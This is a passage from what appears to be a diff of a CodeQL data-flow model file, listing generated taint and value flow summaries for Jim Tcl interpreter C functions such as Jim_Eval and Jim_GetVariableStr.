*)", "", "Argument[2]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[*3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "Jim_CommandMatchObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,int)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "Jim_CompareStringImmediate", "(Jim_Interp *,Jim_Obj *,const char *)", "", "Argument[*2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_CompareStringImmediate", "(Jim_Interp *,Jim_Obj *,const char *)", "", "Argument[2]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_ConcatObj", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2].Field[*length]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ConcatObj", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_ConcatObj", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[*1]", "Argument[*0].Field[**liveList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CreateCommand", "(Jim_Interp *,const char *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CreateCommandObj", "(Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_CreateCommandObj", "(Jim_Interp *,Jim_Obj *,Jim_CmdProc *,void *,Jim_DelCmdProc *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_DeleteCommand", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_DeleteCommand", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_DictAddElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictAddElement", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_DictInfo", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKey", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj **,int)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "Jim_DictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)", "", "Argument[*1]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "Jim_DictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_DictKeysVector", "(Jim_Interp *,Jim_Obj *,Jim_Obj *const *,int,Jim_Obj **,int)", "", "Argument[1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "Jim_DictMatchTypes", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,int,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DictMerge", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_DictPairs", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_DictSize", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_DuplicateObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_DuplicateObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_DuplicateObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_Eval", "(Jim_Interp *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_Eval", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_Eval", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalExpression", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalExpression", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalFile", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**currentFilenameObj].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalFileGlobal", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_EvalGlobal", "(Jim_Interp *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_EvalGlobal", "(Jim_Interp *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalGlobal", "(Jim_Interp *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**evalFrame].Field[*scriptObj]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObjList", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObjList", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[**3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[**3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjPrefix", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[**2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalObjVector", "(Jim_Interp *,int,Jim_Obj *const *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_EvalSource", "(Jim_Interp *,const char *,int,const char *)", "", "Argument[*3]", "Argument[*0].Field[**freeList].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_EvalSource", "(Jim_Interp *,const char *,int,const char *)", "", "Argument[3]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_FileStoreStatData", "(Jim_Interp *,Jim_Obj *,const jim_stat_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "Jim_FindHashEntry", "(Jim_HashTable *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_FindHashEntry", "(Jim_HashTable *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_FormatString", "(Jim_Interp *,Jim_Obj *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_FreeObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_FreeObj", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_GenHashFunction", "(const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_GenHashFunction", "(const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_GenHashFunction", "(const unsigned char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolFromExpr", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetBoolean", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetCallFrameByLevel", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1].Field[**bytes]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetCallFrameByLevel", "(Jim_Interp *,Jim_Obj *)", "", "Argument[*1].Field[*bytes]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetCommand", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetCommand", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetDouble", "(Jim_Interp *,Jim_Obj *,double *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[**2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[*internalRep].Union[*(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetEnum", "(Jim_Interp *,Jim_Obj *,const char *const *,int *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[*internalRep].Union[**(unnamed class/struct/union)]", "taint", "dfc-generated"] + - ["", "", True, "Jim_GetExitCode", "(Jim_Interp *)", "", "Argument[*0].Field[*exitCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_GetGlobalVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetGlobalVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetHashTableIterator", "(Jim_HashTable *)", "", "Argument[*0]", "ReturnValue[*].Field[**ht]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetHashTableIterator", "(Jim_HashTable *)", "", "Argument[0]", "ReturnValue[*].Field[*ht]", "value", "dfc-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetIndex", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetLong", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetReturnCode", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetSourceInfo", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetSourceInfo", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetSourceInfo", "(Jim_Interp *,Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetString", "(Jim_Obj *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetString", "(Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetString", "(Jim_Obj *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "Jim_GetVariable", "(Jim_Interp *,Jim_Obj *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetVariableStr", "(Jim_Interp *,const char *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWide", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "Jim_GetWideExpr", "(Jim_Interp *,Jim_Obj *,long *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[**2]", "Argument[*0].Field[***privdata]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", "Argument[*1]", "Argument[*0].Field[**type]", "value", "dfc-generated"] + - ["", "", True, "Jim_InitHashTable", "(Jim_HashTable *,const Jim_HashTableType *,void *)", "", 